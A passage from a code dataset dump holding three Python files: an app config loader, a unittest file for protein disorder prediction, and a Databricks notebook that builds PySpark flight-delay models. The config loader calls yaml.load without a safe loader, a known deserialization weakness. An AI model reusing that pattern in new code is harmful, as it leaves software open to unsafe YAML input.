Application(object):\n\n def __init__(self):\n self.config = {}\n\n def _load_config(self):\n\n if os.path.isfile('config.yml'):\n config_file = os.path.abspath('config.yml')\n logger.info('loading config: %s' % config_file)\n\n with open(config_file) as f:\n config = yaml.load(f.read())\n\n self.config.update(config)\n _config = os.environ.get('AVES_CONFIG')\n if _config and os.path.isfile(_config):\n config_file = os.path.abspath(_config)\n logger.info('loading config: %s' % config_file)\n\n with open(config_file) as f:\n config = yaml.load(f.read())\n self.config.update(config)\n\n def start(self):\n self._load_config()\n\n if os.path.isfile('logging.ini'):\n\n logging.config.fileConfig('logging.ini')\n\n\n _logging_cfg = os.environ.get('LOGGING_CONFIG')\n if _logging_cfg and os.path.isfile(_logging_cfg):\n logging.config.fileConfig(_logging_cfg)\n\n logger.info(self.config)\n\n\napp = Application()\n","sub_path":"aves/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"404990567","text":"import unittest\nimport sys\nimport os\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\nfrom core_domain_calculations.disorder_calculations import DisorderPrediction\n\nclass TestDisorderPrediction(unittest.TestCase):\n\n def setUp(self):\n self.dp = DisorderPrediction(\"3BOW\", \"A\")\n\n def test_get_data_handles_no_api_data(self):\n self.dp.pdb_id = \"test\"\n self.assertIsNone(self.dp.get_data())\n\n def test_process_line_works(self):\n line = \"1 A 0.5\"\n self.assertEqual(self.dp.process_line(line), [\"1\", \"A\", \"0.5\"])\n\n def test_process_line_bad_line(self):\n line = \"bad\"\n self.assertIsNone(self.dp.process_line(line))\n\n def test_get_resi_data(self):\n residue_mapping = self.dp.get_resi_data(\"1\")\n self.assertIsNotNone(residue_mapping)\n\n def test_get_resi_data_bad_id(self):\n residue_mapping = self.dp.get_resi_data(\"2\")\n self.assertEqual(residue_mapping, {})\n\n def test_get_resi_data_no_api_data(self):\n self.dp.pdb_id = \"bad\"\n residue_mapping = self.dp.get_resi_data(\"1\")\n self.assertIsNone(residue_mapping)\n\n def test_create_residue_map(self):\n data = {\n \"1cbs\": {\n \"molecules\": [\n {\n \"entity_id\": 1,\n \"chains\": [\n {\n \"residues\": [\n {\n \"residue_number\": 1,\n \"author_residue_number\": 2,\n \"author_insertion_code\": \"\",\n \"residue_name\": \"PRO\",\n \"observed_ratio\": 1\n },\n {\n \"residue_number\": 2,\n \"author_residue_number\": 3,\n \"author_insertion_code\": \"\",\n \"residue_name\": \"ASN\",\n \"observed_ratio\": 1\n }\n ]\n }\n ]\n }\n ]\n }\n }\n residue_map = self.dp.create_residue_map(data, 1)\n expected = {1:2, 2:3}\n self.assertEqual(residue_map, expected)\n\n def test_shifting_residues(self):\n self.dp.iupred_data = {'3BOW_A': [[1, 'M', '0.8036'], [2, 'A', '0.7688']]}\n residue_map = {1:2, 2:3}\n shifted_map = self.dp.shifting_residues(residue_map)\n expected = {'3BOW_A': [[2, 'M', '0.8036'], [3, 'A', '0.7688']]}\n self.assertEqual(shifted_map, expected)\n\n","sub_path":"tests/test_disorder_calculations.py","file_name":"test_disorder_calculations.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"543380964","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC ## Global Settings\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import col, substring, split, when, lit, max as pyspark_max, countDistinct, count, mean, sum as pyspark_sum, expr, to_utc_timestamp, to_timestamp, concat, length\nfrom pyspark.sql import SQLContext, Window \nfrom pyspark.sql.types import IntegerType, StringType, BooleanType, DateType, DoubleType, TimestampType\nimport pandas as pd\nfrom gcmap import GCMapper, Gradient\nimport matplotlib.pyplot as plt\nfrom pandas.tseries.holiday import USFederalHolidayCalendar\nfrom datetime import datetime\nfrom pyspark.sql import functions as f\n\nblob_container = \"w261team07container\" # The name of your container created in https://portal.azure.com\nstorage_account = \"w261team07storage\" # The name of your Storage account created in https://portal.azure.com\nsecret_scope = \"w261team07\" # The name of the scope created in your local computer using the Databricks CLI\nsecret_key = \"w261team07-key\" # The name of the secret key created in your local computer using the Databricks CLI \nblob_url = f\"wasbs://{blob_container}@{storage_account}.blob.core.windows.net\"\nmount_path = \"/mnt/mids-w261\"\n\nspark.conf.set(\n f\"fs.azure.sas.{blob_container}.{storage_account}.blob.core.windows.net\",\n dbutils.secrets.get(scope = secret_scope, key = secret_key)\n)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Load Dataset\n\n# COMMAND ----------\n\n# Inspect the Mount's Final Project folder\ndisplay(dbutils.fs.ls(\"/mnt/mids-w261/datasets_final_project/\"))\n\n# COMMAND ----------\n\n# data = spark.read.parquet(f\"{blob_url}/joined_eda/*\")\n# data = spark.read.parquet(f\"{blob_url}/full_join_2015_v0/*\")\n# data = spark.read.parquet(f\"{blob_url}/full_join_with_aggs_v0/*\")\ndata = spark.read.parquet(f\"{blob_url}/model_features_v6/*\")\n\n\n# COMMAND ----------\n\nn = data.count()\nprint(\"The number of rows are {}\".format(n))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## On-The-Fly Feature Engineering\n\n# COMMAND ----------\n\ndisplay(data)\n\n# COMMAND ----------\n\ndata.dtypes\n\n# COMMAND ----------\n\n# null check\nfrom pyspark.sql.functions import isnan, when, count, col\nif False:\n display(data.select([(100 * count(when(isnan(c) | col(c).isNull(), c))/n).alias(c) for c in data.columns if c != \"planned_departure_utc\"]))\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Helper Functions\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import percent_rank, to_timestamp\nfrom pyspark.sql import Window\nfrom datetime import datetime, timedelta\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.types import *\n\n# write model to storage\ndef write_model_to_storage(list_dic, model_class_path, mod_name =''):\n if len(list_dic) == 0:\n raise Exception(\"Cannot insert empty object into storage\")\n \n # add timestamp as key so we can differentiate models of the same type by time\n list_dic_new = []\n now = datetime.now()\n for d in list_dic:\n assert(\"train\" in d.keys())\n assert(\"test\" in d.keys())\n d[\"timestamp\"] = now\n list_dic_new.append(d)\n \n schema = StructType([ \\\n StructField(\"timestamp\", TimestampType(), True), \\\n StructField(\"train\", StringType(), True), \\\n StructField(\"test\", StringType(), True), \\\n StructField(\"val\", StringType(), True)])\n \n todf = []\n for d in list_dic_new:\n todf.append((d[\"timestamp\"], d[\"train\"], d[\"test\"], None))\n \n df = spark.createDataFrame(data = todf, schema = schema)\n \n # default model name is based on timestamp - to generate unique name\n if mod_name == '':\n mod_name = str(now).replace(' ', '').replace(':', '').replace('-', '').split('.')[0]\n \n df.write.mode('overwrite').parquet(f\"{blob_url}/{model_class_path}/{mod_name}\")\n\ndef read_model_from_storage(model_path):\n return spark.read.parquet(f\"{blob_url}/{model_path}/*\")\n \ndef get_numeric_features(df):\n return [t[0] for t in df.dtypes if t[1] == 'int' or t[1] == 'double']\n\ndef get_categorical_features(df):\n return [t[0] for t in df.dtypes if t[1] == 'string']\n\ndef get_datetime_features(df):\n return [t[0] for t in df.dtypes if t[1] == 'timestamp']\n\ndef get_boolean_features(df):\n return [t[0] for t in df.dtypes if t[1] == 'boolean']\n\ndef assert_no_other_features_exist(df):\n numeric_features = get_numeric_features(df)\n categorical_features = get_categorical_features(df)\n dt_features = get_datetime_features(df)\n boolean_features = get_boolean_features(df)\n other_features = [t[0] for t in df.dtypes if t[0] not in numeric_features + categorical_features + dt_features + boolean_features]\n assert len(other_features) == 0\n\ndef pretty_print_list(elements):\n print(\"#########################\")\n for e in elements:\n print(e)\n print(\"#########################\")\n \ndef get_feature_dtype(df, colName):\n for t in df.dtypes:\n if t[0] == colName:\n return t[1]\n return None\n \ndef set_feature_dtype(df, colNames, dtype='string'):\n for colName in colNames:\n currentType = get_feature_dtype(df, colName)\n if currentType == None: \n raise Exception(\"Colname is not valid: {}\".format(colName))\n \n # preserve existing type\n if currentType == dtype:\n continue\n \n \n # implicit conversion from bool/str to int is not allowed, for some reason - this problem only appears with \"dep_is_delayed\"\n # we get back nulls for each row if we do a straight conversion to int\n # special case to convert dep_is_delayed to int (needed to be in this form for ML models to work)\n if (currentType == 'string' and colName == \"dep_is_delayed\") and dtype == 'int':\n \n def convert_to_int(value):\n return 1 if value == \"true\" else 0\n \n udf_convert = F.udf(convert_to_int, IntegerType())\n \n df = df.withColumn(colName + \"_tmp\", udf_convert(colName))\n df = df.drop(df.dep_is_delayed)\n df = df.withColumnRenamed(colName + \"_tmp\", colName)\n \n \n elif dtype == 'string':\n df = df.withColumn(colName, col(colName).cast(StringType()))\n elif dtype == 'int':\n df = df.withColumn(colName, col(colName).cast(IntegerType()))\n elif dtype == 'double':\n df = df.withColumn(colName, col(colName).cast(DoubleType()))\n elif dtype == 'boolean':\n df = df.withColumn(colName, col(colName).cast(BooleanType()))\n elif dtype == 'timestamp':\n df = df.withColumn(colName, to_timestamp(colName))\n else:\n raise Exception(\"Unsupported data type\")\n \n return df\n\ndef get_df_for_model(df, splits, index, datatype=\"train\"):\n start_date, end_date = get_dates_from_splits(splits, index, dtype = datatype)\n if verbose:\n print(\"In method: get_df_for_model - getting back data for data type '{}'. Start date is: {} and End date is: {}\".format(datatype, start_date, end_date))\n return get_df(df, start_date, end_date, True)\n \n# gets df between 2 given dates\ndef get_df(df, start_date, end_date, raise_empty=True):\n # assumes that we have access to planned_departure_utc \n all_columns = [t[0] for t in df.dtypes]\n if \"planned_departure_utc\" not in all_columns:\n raise Exception(\"We cannot slice the data by time because we are missing planned_departure_utc\")\n \n df = df.filter((col('planned_departure_utc') >= start_date) & (col('planned_departure_utc') <= end_date))\n \n if df.count() == 0 and raise_empty:\n raise Exception(\"Found 0 records, raising an error as this is not expected\")\n \n if verbose:\n print(\"In method: get_df - getting back data with Start date: {} and End date: {}. Returning {} results\".format(start_date, end_date, df.count()))\n \n return df\n\n# contract format depends on function get_timeseries_train_test_splits\ndef get_dates_from_splits(splits, index, dtype=\"train\"):\n if index >= len(splits):\n raise Exception(\"Index out of bounds\")\n \n split = splits[index]\n \n if dtype == \"train\":\n # 1st 2 dates are training\n return (split[0], split[1])\n if dtype == \"test\":\n # next pair is test\n return (split[2], split[3])\n if dtype == \"val\":\n # last pair is val\n return (split[4], split[5])\n \n # by default return all\n return split\n\n# get rolling or non-rolling time series splits of data\ndef get_timeseries_train_test_splits(df, rolling=False, roll_months=3, start_year=2015, start_month=1, end_year=2016, end_month=6, train_test_ratio=2, test_months=1):\n if start_year < 2015 or start_year > 2019:\n raise Exception(\"Invalid date range\")\n \n if start_month < 1 or start_month > 12:\n raise Exception(\"Invalid date range\")\n \n if end_month < 1 or end_month > 12:\n raise Exception(\"Invalid date range\")\n \n if start_year > end_year:\n raise Exception(\"Start year cannot be larger than end year\")\n \n if train_test_ratio <= 1 or int(train_test_ratio) != train_test_ratio:\n raise Exception(\"train_test_ratio must be > 1 and must be int\")\n \n assert(test_months >=1 and train_test_ratio > 1 and roll_months >=1)\n \n # assert that we have values for the year and month\n assert(data.filter(data.year.isNull()).count() == 0)\n assert(data.filter(data.month.isNull()).count() == 0)\n \n # format months to 2 numbers - needed for date time parsing\n if start_month <= 9:\n start_month = \"0\" + str(start_month)\n \n if end_month <= 9:\n end_month = \"0\" + str(end_month)\n \n \n global_start = \"{}-{}-01T00:00:00.000+0000\".format(start_year, start_month)\n # why 28? consider february\n global_end = \"{}-{}-28T00:00:00.000+0000\".format(end_year, end_month)\n \n global_start = datetime.strptime(global_start, '%Y-%m-%dT%H:%M:%S.%f+0000')\n global_end = datetime.strptime(global_end, '%Y-%m-%dT%H:%M:%S.%f+0000')\n \n # check for sufficient data\n # train data is ratio x num months used for testing, hence (test_months * train_test_ratio)\n # validation set and test set have same number of months always, hence (2 * test_months)\n if (global_end - global_start).days < 30 * ((2 * test_months) + (test_months * train_test_ratio)):\n raise Exception(\"Insufficient data to train on. Please increase date range\")\n \n df = df.filter((col('year') >= start_year) & (col('month') >= start_month))\n df = df.filter((col('year') <= end_year) & (col('month') <= end_month))\n \n # create result object - a list of tuple objects\n # tuple object is of the form of dates: (train_start, train_end, test_start, test_end, val_start, val_end)\n result = []\n \n # train is between start (T0) and X days after start, say (T1)\n temp_start_train = global_start\n temp_end_train = global_start + timedelta(days=(test_months * train_test_ratio * 30))\n\n while (global_end-temp_end_train).days > 0:\n # test is between T1 and Y days after T1, say T2\n temp_start_test = temp_end_train + timedelta(days=1) \n temp_end_test = temp_start_test + timedelta(days=(test_months * 30))\n\n # validation is between T2 and Y days after T2, say T3\n temp_start_val = temp_end_test + timedelta(days=1)\n temp_end_val = temp_start_val + timedelta(days=(test_months * 30))\n\n # add these dates to our result\n result.append((temp_start_train, temp_end_train, temp_start_test, temp_end_test, temp_start_val, temp_end_val))\n\n # reset new date for ending point for train data and repeat till we reach global end date\n temp_end_train = temp_end_val\n \n # if rolling is enabled, we just roll the train start date by the rolling months\n # and adjust the end train date as well\n if rolling:\n temp_start_train = temp_start_train + timedelta(days=30 * roll_months)\n temp_end_train = temp_start_train + timedelta(days=(test_months * train_test_ratio * 30))\n \n if verbose:\n print(\"There are {} splits formed based on the date ranges given\".format(len(result)))\n print(\"Date ranges are: start: {} and end: {} with rolling set to {} and rolling window months set to {} months\".format(global_start, global_end, rolling, roll_months))\n print(\"Note that the train_test_ratio is {} and test_months is {}, so training data will have {} month(s) size and test/val data will have {} month(s) size\".format(train_test_ratio, test_months, train_test_ratio * test_months, test_months))\n print(\"Here is a sample split that follows the following format: (train_start, train_end, test_start, test_end, val_start, val_end)\")\n print(pretty_print_list(result[0]))\n \n return result\n\ndef get_best_param_dic_metrics(best_model, displayKeys=False):\n # https://stackoverflow.com/questions/36697304/how-to-extract-model-hyper-parameters-from-spark-ml-in-pyspark\n parameter_dict = best_model.stages[-1].extractParamMap()\n dic = dict()\n for x, y in parameter_dict.items():\n dic[x.name] = y\n if displayKeys:\n print(\"Parameter available: {}\".format(x.name))\n\n return dic\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Feature Engineering (DataType Transformation, Data Prep, ML Algorithms)\n\n# COMMAND ----------\n\ndef get_std_features(data):\n # Notes\n # div_reached_dest is going to be full of nulls, so dropping - we should consider making the default as \"-1\" - so it doesn't make us drop rows (dropna)\n numeric_features = get_numeric_features(data)\n categorical_features = get_categorical_features(data)\n dt_features = get_datetime_features(data)\n bool_features = get_boolean_features(data)\n assert_no_other_features_exist(data)\n # no features are null in our model as we dropped/mean imputed/pre-processed them in the data processing stage\n # so drop their null indicator variables as they provide no value\n cols_to_drop = ['index_id', 'origin_utc_offset', 'dest_utc_offset', 'origin_latitude', \n 'origin_longitude', 'dest_latitude', 'dest_longitude', 'dt', 'planned_dep_time', \n 'actual_dep_time', 'actual_arr_time', 'div_reached_dest', \n 'time_at_prediction_utc', 'oa_avg_del2_4hr', 'da_avg_del2_4hr', 'carrier_avg_del2_4hr']\\\n + [x for x in dt_features if x != 'planned_departure_utc'] + [x for x in numeric_features + categorical_features if x.endswith('_null')]\n \n \n # there are some special snowflakes we need to handle here\n # dep_is_delayed, origin_altitude and dest_altitude are strings, they should be numeric\n # so we remove them from the categorical and add them to numeric\n numeric_features = numeric_features + ['origin_altitude', 'dest_altitude', 'dep_is_delayed']\n numeric_features = list(set(numeric_features))\n \n try:\n categorical_features.remove('origin_altitude')\n categorical_features.remove('dest_altitude')\n categorical_features.remove('dep_is_delayed')\n except:\n # dont error if these were not in categorical features\n pass\n \n # likewise, there are some indicator variables that are numeric (int), but need to be string (categorical)\n ind_vars = [x for x in numeric_features if x.endswith(\"_null\") or x.endswith(\"_ind\")]\n for x in ind_vars:\n try:\n numeric_features.remove(x)\n except:\n # dont error if these were not in numeric\n pass\n \n categorical_features = categorical_features + ind_vars\n categorical_features = list(set(categorical_features))\n \n bool_features = [x for x in bool_features if x not in cols_to_drop]\n dt_features = [x for x in dt_features if x not in cols_to_drop]\n categorical_features = [x for x in categorical_features if x not in cols_to_drop]\n numeric_features = [x for x in numeric_features if x not in cols_to_drop]\n all_cols = numeric_features + categorical_features + dt_features + bool_features\n cols_to_consider = [x for x in all_cols if x not in cols_to_drop] \n \n if verbose: \n print(\"There are {} total columns out of which there are {} columns to consider in the model\".format(len(all_cols), len(cols_to_consider)))\n print(\"There are {} categorical features\".format(len(categorical_features)))\n print(\"There are {} numeric features\".format(len(numeric_features)))\n print(\"There are {} date features\".format(len(dt_features)))\n print(\"There are {} bool features\".format(len(bool_features)))\n \n return all_cols, cols_to_consider, cols_to_drop, numeric_features, categorical_features, dt_features, bool_features\n\ndef add_required_cols(cols):\n # every model must contain the label and the timestamp var\n if 'planned_departure_utc' not in cols:\n cols.append('planned_departure_utc')\n if 'dep_is_delayed' not in cols:\n cols.append('dep_is_delayed')\n\n return list(set(cols))\n \n\ndef get_std_desired_numeric(df, hypothesis=1, custom_cols_to_drop=[]):\n all_cols, cols_to_consider, cols_to_drop, numeric_features, categorical_features, dt_features, bool_features = get_std_features(data)\n\n if hypothesis == 1:\n # all numeric features in the df\n desired_numeric = [x for x in numeric_features if x in df.columns]\n elif hypothesis == 2:\n # includes mandatory features like origin temp and flight dist (or planned duration) + percentage features\n desired_numeric = ['pct_delayed_from_origin', 'pct_delayed_to_dest', 'pct_delayed_for_route', 'pct_delayed_from_state', 'pct_delayed_to_state', 'flight_distance', 'origin_tmp_c']\n elif hypothesis == 3:\n # includes mandatory features like origin temp and flight dist (or planned duration) + weather features\n desired_numeric = ['origin_altitude', 'origin_wnd_speed', 'origin_cig_cloud_agl', 'origin_vis_dist', 'origin_tmp_c', 'origin_dew_c', 'origin_slp_p',\n 'dest_altitude', 'planned_duration']\n elif hypothesis == 4:\n # includes mandatory features like origin temp and flight dist (or planned duration) + computed columns\n desired_numeric = ['flight_distance', 'origin_tmp_c', 'pct_delayed_from_origin', 'mean_delay_from_origin', 'pct_delayed_to_dest', \n 'mean_delay_to_dest', 'pct_delayed_for_route', 'mean_delay_for_route', 'pct_delayed_from_state', 'mean_delay_from_state', \n 'pct_delayed_to_state', 'mean_delay_to_state']\n else:\n raise Exception(\"Invalid hypothesis number!\")\n\n # drop any columns that are a no-no in the model\n desired_numeric = [x for x in desired_numeric if x not in cols_to_drop + custom_cols_to_drop]\n \n # we must convert dep_is_delayed to numeric\n desired_numeric = list(set(desired_numeric + ['dep_is_delayed']))\n \n # confirm no duplicates\n assert(len(desired_numeric) == len(set(desired_numeric)))\n\n # confirm data actually has these features\n # also confirm that the desired_numeric is part of the \"registered\" numeric features to choose from\n all_cols = [t[0] for t in df.dtypes]\n for dn in desired_numeric:\n if dn not in all_cols:\n raise Exception(\"Unknown feature found: {}\".format(dn))\n if dn not in numeric_features:\n raise Exception(\"Feature: {} is not a registered numeric feature\".format(dn))\n \n # ensure that the desired numeric columns are indeed converted to numeric\n # for example, this will ensure that dep_is_delayed is converted to int\n to_convert = get_std_to_convert_numeric(df, desired_numeric)\n df = set_feature_dtype(df, to_convert, dtype='int')\n\n return df, list(set(desired_numeric))\n\ndef get_std_desired_categorical(df, hypothesis=1, custom_cols_to_drop=[]):\n all_cols, cols_to_consider, cols_to_drop, numeric_features, categorical_features, dt_features, bool_features = get_std_features(data)\n\n if hypothesis == 1:\n # all categorical features in df\n desired_categorical = [x for x in categorical_features if x in df.columns]\n elif hypothesis == 2:\n # includes mandatory features = time related + origin/dest/dist + carrier + holiday + computed score (potential for delay)\n desired_categorical = ['month', 'day_of_month', 'day_of_week', 'dep_hour', 'arr_hour', 'origin_ICAO', 'dest_ICAO', 'carrier', 'distance_group', 'holiday', 'poten_for_del']\n elif hypothesis == 3:\n # includes mandatory features = time related + origin/dest/dist + carrier + holiday + computed score (potential for delay) + weather related \n desired_categorical = ['month', 'day_of_month', 'day_of_week', 'dep_hour', 'arr_hour', 'origin_ICAO', 'dest_ICAO', 'carrier', 'distance_group', \n 'holiday', 'poten_for_del', 'canceled', 'origin_cig_cavok', 'origin_wnd_type', 'origin_vis_var', 'origin_city', 'dest_city']\n elif hypothesis == 4:\n # includes mandatory features = time related + origin/dest/dist + carrier + holiday + computed score (potential for delay) + computed indicators\n desired_categorical = ['month', 'day_of_month', 'day_of_week', 'dep_hour', 'arr_hour', 'origin_ICAO', 'dest_ICAO', 'carrier', 'holiday',\n 'weather_window_del_ind', 'carrier_window_del_ind', 'security_window_del_ind', 'late_ac_window_del_ind', 'nas_window_del_ind',\n 'oa_avg_del_ind', 'da_avg_del_ind', 'carrier_avg_del_ind', 'poten_for_del', 'prev_fl_del']\n else:\n raise Exception(\"Invalid hypothesis number!\")\n\n # drop any columns that are a no-no in the model and drop dep_is_delayed since it has to be numeric (int)\n desired_categorical = [x for x in desired_categorical if x not in cols_to_drop + custom_cols_to_drop + ['dep_is_delayed']]\n\n # confirm no duplicates\n assert(len(desired_categorical) == len(set(desired_categorical)))\n\n # confirm data actually has these features\n # also confirm that the desired_categorical is part of the \"registered\" categorical features to choose from\n all_cols = [t[0] for t in df.dtypes]\n for dc in desired_categorical:\n if dc not in all_cols:\n raise Exception(\"Unknown feature found: {}\".format(dc))\n if dc not in categorical_features:\n raise Exception(\"Feature: {} is not a registered categorical feature\".format(dc))\n \n # ensure the vars are converted to strings\n df = set_feature_dtype(df, desired_categorical, dtype='string')\n \n return df, list(set(desired_categorical))\n\ndef get_std_desired_numeric_int(df, desired_numeric): \n return [x for x in desired_numeric if get_feature_dtype(df, x) == 'int']\n\ndef get_std_desired_numeric_double(df, desired_numeric):\n return [x for x in desired_numeric if get_feature_dtype(df, x) == 'double']\n\ndef get_std_to_convert_numeric(df, desired_numeric):\n desired_numeric_int = get_std_desired_numeric_int(df, desired_numeric)\n desired_numeric_double = get_std_desired_numeric_double(df, desired_numeric)\n\n to_convert_numeric = [x for x in desired_numeric if x not in desired_numeric_int + desired_numeric_double]\n if verbose:\n print(\"These columns need to be converted to numeric type: {}\".format(to_convert_numeric))\n \n return to_convert_numeric\n\ndef get_proportion_labels(df):\n if verbose:\n print(\"In method - get_proportion_labels - displaying proportion of labeled class\")\n print(display(df.groupby('dep_is_delayed').count()))\n \n positive = df.filter(df.dep_is_delayed == 1).count()\n negative = df.filter(df.dep_is_delayed == 0).count()\n total = negative + positive\n if total == 0:\n raise Exception(\"No records found!\")\n \n if positive == 0:\n raise Exception(\"No positive records found!\")\n \n if negative == 0:\n raise Exception(\"No negative records found!\")\n \n # there is a risk that the positive/negative classes are so imbalanced that they are non existent in the df\n # so we should guard against that case in order to avoid throwing div by 0\n np = -1 if positive == 0 else 1.0 * negative/positive\n pn = -1 if negative == 0 else 1.0 * positive/negative\n \n return 1.0 * positive/total, 1.0 * negative/total, pn, np\n\ndef downsample(df, min_major_class_ratio, alpha=0.99):\n if min_major_class_ratio == -1:\n # assign default value to reduce the majority class by half\n min_major_class_ratio = 0.5\n print(\"In method downsample: Warning - reset min_major_class_ratio to default: {}\".format(min_major_class_ratio))\n \n if verbose:\n print(\"Starting to downsample, negative class has {} rows and positive class has {} rows\".format(df.filter(df.dep_is_delayed == 0).count(), df.filter(df.dep_is_delayed == 1).count()))\n \n negative = df.filter(df.dep_is_delayed == 0).sample(False, min_major_class_ratio * alpha, seed=2021)\n positive = df.filter(df.dep_is_delayed == 1)\n \n new_df = positive.union(negative).cache()\n if verbose:\n negative = new_df.filter(new_df.dep_is_delayed ==0).count()\n positive = new_df.filter(new_df.dep_is_delayed ==1).count()\n print(\"After downsampling, negative class has {} rows and positive class has {} rows\".format(negative, positive))\n \n return new_df\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Logit Specific Functions\n\n# COMMAND ----------\n\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql.types import *\nfrom pyspark.sql.types import StringType,BooleanType,DateType\nfrom pyspark.ml.feature import StringIndexer, VectorAssembler, OneHotEncoder\nfrom pyspark.ml.feature import IndexToString, StringIndexer, OneHotEncoder, VectorAssembler, Bucketizer, StandardScaler\nfrom pyspark.ml.tuning import CrossValidator, ParamGridBuilder\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.classification import LogisticRegression\nfrom pyspark.ml import Pipeline\n\ndef get_train_test_finalset_for_logit_2(train, test, custom_payload, drop_na = True, set_handle_invalid=\"keep\"):\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be null as it contains feature selection info\")\n \n categorical_features = custom_payload[\"categorical_features\"]\n numeric_features = custom_payload[\"numeric_features\"]\n \n stages = []\n for feature in categorical_features:\n # string index categorical features:\n indexer = StringIndexer(inputCol=feature, outputCol = feature+'_index')\n indexer.setHandleInvalid(set_handle_invalid)\n # one-hot the categorical features:\n one_hot_encoder = OneHotEncoder(inputCols=[indexer.getOutputCol()], outputCols=[feature+'_Indicator'])\n stages += [indexer, one_hot_encoder]\n \n # convert_label\n label_stringIdx = StringIndexer(inputCol = 'dep_is_delayed', outputCol = 'label')\n stages += [label_stringIdx]\n \n # convert numerical features\n vector_assembler = VectorAssembler(inputCols = numeric_features, outputCol=\"numeric_vec\")\n vector_assembler.setHandleInvalid(set_handle_invalid)\n scaler = StandardScaler(inputCol=\"numeric_vec\", outputCol=\"scaled_features_1\")\n \n stages += [vector_assembler, scaler]\n \n # feature assembler\n assemblerInputs = [feature + \"_Indicator\" for feature in categorical_features] + ['scaled_features_1']\n assembler = VectorAssembler(inputCols=assemblerInputs, outputCol=\"scaled_features\")\n stages += [assembler]\n pipeline = Pipeline(stages = stages)\n pipelineModel = pipeline.fit(train)\n \n # comb_features = categorical_features + numeric_features + ['dep_is_delayed']\n \n # transforming the data using pipeline\n df_train = pipelineModel.transform(train)\n selectedCols = ['label', 'scaled_features'] # + comb_features\n df_train = df_train.select(selectedCols)\n df_test = pipelineModel.transform(test)\n df_test = df_test.select(selectedCols)\n \n if verbose:\n print(\"Training Dataset Count Before Dropping NA: \" + str(df_train.count()))\n print(\"Test Dataset Count Before Dropping NA: \" + str(df_test.count()))\n # display(training_set)\n \n if drop_na: \n df_train = df_train.dropna()\n df_test = df_test.dropna()\n else:\n print(\"Drop NA is set to false, will not drop any rows...\")\n \n if verbose and drop_na:\n print(\"Training Dataset Count After Dropping NA: \" + str(df_train.count()))\n print(\"Test Dataset Count After Dropping NA: \" + str(df_test.count()))\n \n # convert label to integer type, so we can compute performance metrics easily\n df_train = df_train.withColumn('label', df_train['label'].cast(IntegerType())) \n df_test = df_test.withColumn('label', df_test['label'].cast(IntegerType()))\n \n return df_train, df_test\n\ndef get_train_test_finalset_for_logit(train, test, custom_payload, drop_na = True, set_handle_invalid=\"keep\"):\n \n if custom_payload == None:\n raise Exception(\"Custom payload cannot be null as it contains feature selection info\")\n \n categorical_features = custom_payload[\"categorical_features\"]\n numeric_features = custom_payload[\"numeric_features\"]\n \n # form a string indexer and change name of dep_is_delayed to \"label\" - used in std naming conventions in models \n # https://stackoverflow.com/questions/34681534/spark-ml-stringindexer-handling-unseen-labels\n labelIndexer = StringIndexer(inputCol=\"dep_is_delayed\", outputCol=\"label\").setHandleInvalid(set_handle_invalid).fit(train)\n train = labelIndexer.transform(train)\n test = labelIndexer.transform(test)\n\n # create index for each categorical feature\n categorical_index = [i + \"_Index\" for i in categorical_features]\n stringIndexer = StringIndexer(inputCols=categorical_features, outputCols=categorical_index).setHandleInvalid(set_handle_invalid).fit(train)\n train = stringIndexer.transform(train)\n test = stringIndexer.transform(test)\n\n # create indicator feature for each categorical variable and do one hot encoding, encode only train data\n list_encoders = [i + \"_Indicator\" for i in categorical_features]\n encoder = OneHotEncoder(inputCols=categorical_index, outputCols=list_encoders).setHandleInvalid(set_handle_invalid).fit(train)\n train_one_hot = encoder.transform(train)\n test_one_hot = encoder.transform(test)\n\n # retain only encoded categorical columns, numeric features and label \n train_one_hot = train_one_hot.select([\"label\"] + categorical_index + list_encoders + numeric_features) \n test_one_hot = test_one_hot.select([\"label\"] + categorical_index + list_encoders + numeric_features)\n\n if verbose:\n print(\"Training Dataset Count Before Dropping NA: \" + str(train_one_hot.count()))\n print(\"Test Dataset Count Before Dropping NA: \" + str(test_one_hot.count()))\n # display(training_set)\n \n if drop_na: \n training_set = train_one_hot.dropna()\n test_set = test_one_hot.dropna()\n else:\n print(\"Drop NA is set to false, will not drop any rows...\")\n training_set = train_one_hot\n test_set = test_one_hot\n \n # convert label to integer type, so we can compute performance metrics easily\n training_set = training_set.withColumn('label', training_set['label'].cast(IntegerType())) \n test_set = test_set.withColumn('label', test_set['label'].cast(IntegerType()))\n\n if verbose and drop_na:\n print(\"Training Dataset Count After Dropping NA: \" + str(training_set.count()))\n print(\"Test Dataset Count After Dropping NA: \" + str(test_set.count()))\n # display(training_set)\n \n return training_set, test_set\n\ndef get_logit_pipeline(training_set, set_handle_invalid=\"keep\", grid_search_mode=True):\n \n # get features only\n features_only = training_set.columns\n features_only.remove(\"label\")\n\n # Combine training input columns into a single vector column, \"features\" is the default column name for sklearn/pyspark feature df\n # so we preserve that default name\n assembler = VectorAssembler(inputCols=features_only,outputCol=\"features\").setHandleInvalid(set_handle_invalid)\n\n # Scale features so we can actually use them in logit\n # StandardScaler standardizes features by removing the mean and scaling to unit variance.\n standardscaler = StandardScaler().setInputCol(\"features\").setOutputCol(\"scaled_features\")\n \n # use scaled features in logit, with output column as \"label\"\n lr = LogisticRegression(featuresCol = 'scaled_features', labelCol = 'label', maxIter=10)\n\n # for ML Lib pipeline, build a pipeline that will assemble the features into a single vector, perform scaling, and do optionally logit\n if grid_search_mode:\n pipeline = Pipeline(stages=[assembler, standardscaler, lr])\n else:\n pipeline = Pipeline(stages=[assembler, 